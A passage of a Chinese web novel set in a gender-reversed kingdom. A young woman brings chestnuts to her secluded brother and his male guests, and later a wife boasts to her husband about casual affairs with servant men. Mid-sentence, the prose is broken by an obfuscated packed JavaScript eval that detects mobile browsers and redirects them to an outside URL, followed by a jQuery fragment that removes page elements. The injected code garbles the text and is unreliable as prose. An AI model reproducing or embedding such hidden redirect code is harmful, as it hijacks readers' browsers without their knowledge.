来者是一个十五六岁的少女,穿着一袭紧身窄袖的红色骑装,满头乌发在头顶高挽成髻,除了一根红绸带外别无饰物,整个人看上去英姿飒爽。 “四姐姐,你带了什么好吃的给我,正好我可以用来招待客人。他们是蔺贞男的两个弟弟,蔺二郎和蔺三郎,她是我的四姐季纹。” 蔺昭好奇地上下打量着季纹。 这个少女和他的妹妹蔺曦一样,脚下有风,眼里有光,浑身洋溢着一股坤乾国女子独有的自信从容,因为这个世界是属于她们的。 蔺昀有些害羞地低下头,却又忍不住用眼角余光去瞟季纹。这还是他头一回和年纪相仿的少女共处一室,感觉既紧张又兴奋。 坤乾国讲究“女男七岁不同席”“女男授受不亲”。 严格的女男大防观念,要求男子必须与女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353505|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持一定界限,以此来保全男子的名节。 蔺东玉在这方面管得很严,每天把儿子们关在家里不准见外人,就连亲戚家的女儿登门都轻易不会让他们出来见客。 蔺家父子三人来季府做客,也是直接被领进后宅与男眷见面的,跟前院的女眷没有任何接触。没想到却在季纶屋里意外撞上了来找弟弟的季纹。 “抱歉,我刚从外头回来,不知道五弟屋里有客,直接闯了进来,真是唐突了两位郎君。季某失礼,还望勿怪。” 季纹笑容满面地朝蔺氏兄弟俩拱手行礼,表达自己的歉意。 蔺昀羞答答地低着头不说话,蔺昭没他那么忸怩,大大方方地道:“没关系的,季四娘。” “我刚从城外骑射归来,给五弟带回一包糖烤栗子,这个要趁热吃,所以就赶紧给他送过来了。” 季纶听得欢呼道:“糖烤栗子,我最爱吃了,谢谢四姐姐。” “跟四姐客气什么,五弟,你和客人一起吃栗子吧,我就不打扰你们的闺阁叙话了。” 放下一包糖烤栗子后,季纹笑盈盈地告辞离开,季纶招呼蔺氏兄弟俩一起过来吃。 一边吃着又香又甜的栗子,蔺昀一边好奇地问道:“季五郎,你四姐经常给你带好吃的吗?” “是啊,我和四姐关系最好了。我的大哥、二姐和三姐都比我大了不少,只有四姐姐和我年纪最接近。从小我就是她的跟屁虫,跟着她一块长大的。因为我是男子不能随便出门,四姐姐外出时只要看到什么好吃的、好玩的,都会买回来给我,对我可好呢!” “你有一个这么好的四姐姐,真是让人羡慕啊!” 蔺昀羡慕无比的口气,让蔺昭不由自主地看了他一眼,感觉他似乎不只是普通的羡慕那么简单。 . 蔺氏父子三人从季府拜访归来后,蔺东玉自然要询问梁宽在季家的见闻。得知季教谕酒后睡了一个侍男,还将其收了房,她脸上露出暧昧的笑容。 “这种事太正常了,女人多喝了几杯酒容易起性,正好有个少年郎来服侍的话,自然会上了他泄火。” 男仆刚刚送来一盆热水,梁宽正蹲在蔺东玉面前服侍她洗脚。 只要妻子在家,这就是他身为丈夫每天雷打不动的职责之一。听了这话他心中一动,欲言又止。 蔺东玉留意到了他的神色,不以为然地一笑。 “你想知道我是不是在外面也会喝醉酒睡男人是吧?告诉你吧,这是天底下女人都会做的事。我不过是逢场作戏,睡了就睡了,也不会弄回家当小爷跟你争风吃醋。能遇上像我这样的家主,已经是你前世修来的福分了。宽郎,你说是也不是?” 梁宽发自内心地点头道: “是,家主乃一家之主,如果要纳夫侍我也只能顺从,毕竟贤夫不能妒。但家主一直只有我一个丈夫,没让家里闹出三夫四侍争风吃醋的事,着实是我的福分了。”